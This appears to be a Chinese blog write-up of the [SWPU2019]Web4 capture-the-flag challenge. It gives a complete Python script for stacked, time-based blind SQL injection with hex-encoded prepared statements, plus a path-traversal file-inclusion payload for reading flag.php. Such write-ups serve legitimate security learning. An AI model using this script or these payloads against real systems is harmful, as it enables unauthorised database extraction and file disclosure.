[SWPU2019]Web4

场景
在这里插入图片描述
点登陆没反应,注册提示未开发,猜测sql注入。
在这里插入图片描述
抓包在username里添加单引号报错,闭合后提示:
在这里插入图片描述
参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。
PDO场景下的sql注入

import time
import requests
import json


def str_to_hex(str):
    return ''.join(hex(ord(c)).replace('0x', '') for c in str)

def binary(iterator, cu ,comparer):
    time.sleep(0.5)#必须要加,也不知道为什么,也不是429,但不加就乱码,而且要多跑几次
    startTime = time.time()
    waitSeconds = 2  # 等待时间
    checkSeconds = 0.2  # 容忍时间
    target = 'http://0a5d1c32-a986-4421-ab81-fba57cded578.node3.buuoj.cn/index.php?r=Login/login'
    payload = "a';SET @a=0x{0};PREPARE run from @a;EXECUTE run-- -"
    datas = {"username" : payload.format(str_to_hex("select if(ascii(substr((select flag from flag),{},1)){comparer}{},sleep({}),1)".format(iterator, cu, waitSeconds, comparer=comparer))), "password" : "123"}
    r = requests.post(target, data=json.dumps(datas))
    # print(r.text)
    # print(r.status_code)
    if (abs(time.time() - startTime - waitSeconds) < checkSeconds):
        return True
    else:
        return False

def test(iterator):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binary(iterator, cu, "<")):
            r = cu - 1
        elif (binary(iterator, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("(+) 程序开始")
    finalRes = ""
    iterator = 1
    while (True):
        extracted_char = test(iterator)
        if (extracted_char == None):
            break
        finalRes += extracted_char
        iterator += 1
        print("(+) 当前结果:{}".format(finalRes), end="\r\n")
    print("(+) 运行完成,结果为:", finalRes)



if __name__ == '__main__':
    main()



结果glzjin_wants_a_girl_friend.zip可以下载到源码。
接下来是审计了,直接看的官方wp。
在这里插入图片描述
在BaseController.php下存在变量覆盖和文件包含。
在这里插入图片描述
UserController.php下发现actionIndex可控。视图是userindex.php
在这里插入图片描述
payload:
?r=User/Index&img_file=/../flag.php

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值